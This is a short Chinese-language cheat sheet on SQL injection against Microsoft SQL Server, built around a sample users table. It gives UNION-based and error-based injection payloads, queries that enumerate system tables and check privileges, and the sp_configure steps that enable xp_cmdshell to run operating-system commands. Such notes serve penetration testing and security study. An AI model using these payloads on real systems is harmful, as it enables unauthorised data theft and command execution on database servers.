MSSQL注入备忘录

暂时记录下 SQLServer 2008R2 注入的一些要点,因为不版本有差异性,对于差异性的内容,以后再补充

示例数据库内容:

id username password
1 admin 21232f297a57a5a743894a0e4a801fc3
2 test 098f6bcd4621d373cade4e832627b4f6
3 guest 084e0343a0486ff05530df6c705c8bb4
4 root 63a9f0ea7bb98050796b649e85481845
5 system 54b53072540eeeb8f8e9343e71f28176

MYSQL 和 MSSQL 差异点

类型转换问题

1
select username,password from users where id = 1 union select 1,2

这条语句,针对 MYSQL 的话,是正确的,但是如果在 MSSQL 中,因为 username,password 的类型为 varchar ,但 1,2 的类型为 int,执行时,会出现类型转换错误。这里涉及到一个隐式转换的问题。

所以,在构造正常语句时,可以如下构造

1
2
select username,password from users where id = 1 union select '1','2',  -- 但这样不太容易确定哪几列为varchar类型,可采用另一种方式
select username,password from users where id = 1 union select null,null

limit 问题

在 MYSQL 中,我们可以通过 group_concat 或者 limit 等方法来遍历数据

1
2
select username,password from users where id = 1 union select 1,(select group_concat(username) from users)
select username,password from users where id = 1 union select 1,(select username from users limit 0,1)

但是在 MSSQL 中,没有 group_concat 函数和 limit 语句,这里,我们可以利用 MSSQL 的 top 语法

1
select username,password from users where id = 1 union select null,(select top 1 username from users where username not in (select top 1 username from users))

top 的含义为取出前几条,top 1 为前1条数据,top 2 为取出前两条输出,之后的 not in 相当于排除掉后面子查询查询到的内容,通过这样,遍历第二个 top 后的数字,便可遍历整张数据表

常用函数与语句

常用语句

查询所有数据库

1
select name from master..sysdatabases

查询当前数据库的所有数据表

1
2
3
4
select table_name from information_schema.tables  -- 查询 INFORMATION_SCHEMA 视图
select name from sysobjects where xtype = 'u' -- 查询 sysobjects 系统表
select name from sys.objects where type = 'u' -- 查询 sys.objects 目录视图 [SQL SERVER2005以上]
select name from sys.tables -- 查询sys.tables 目录视图 [SQL SERVER2005以上]

查询当前数据库中任意数据表的字段名

1
2
3
4
select column_name from information_schema.columns -- 查询 INFORMATION_SCHEMA 视图
select name from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='表名') -- 查询 syscolumns 系统表
select name from syscolumns where id=object_id('表名') -- 查询 syscolumns 系统表
select name from sys.columns where object_id = (select max(id) from sysobjects where xtype='u' and name='emails') -- 查询sys.columns 目录视图

常用函数

  • is_srvrolemember(‘sysadmin’) // 判断是否是系统管理员
  • db_name() // 不带任何参数为当前数据库
  • @@VERSION // 数据库版本
  • suser_name() 当前登录的用户名
  • has_dbaccess(‘master’) // 判断是否有库读取权限
  • @@servername // 本地服务名
  • is_member(‘db_owner’)) // 判断是否是库权限

报错注入

MSSQL 的报错注入,主要利用的是在类型转化错误时,会显示出类型转换失败的值,如下所示

类型转换函数

  • CAST ( expression AS data_type )

  • CONVERT (data_type[(length)], expression [, style])

MSSQL 命令执行

判断扩展存储是否存在:

1
select count(*) FROM master.dbo.sysobjects where name= 'xp_regread'

开启 xp_cmdshell:

1
2
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

关闭 xp_cmdshell:

1
2
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure

执行命令:

1
exec xp_cmdshell 'whoami'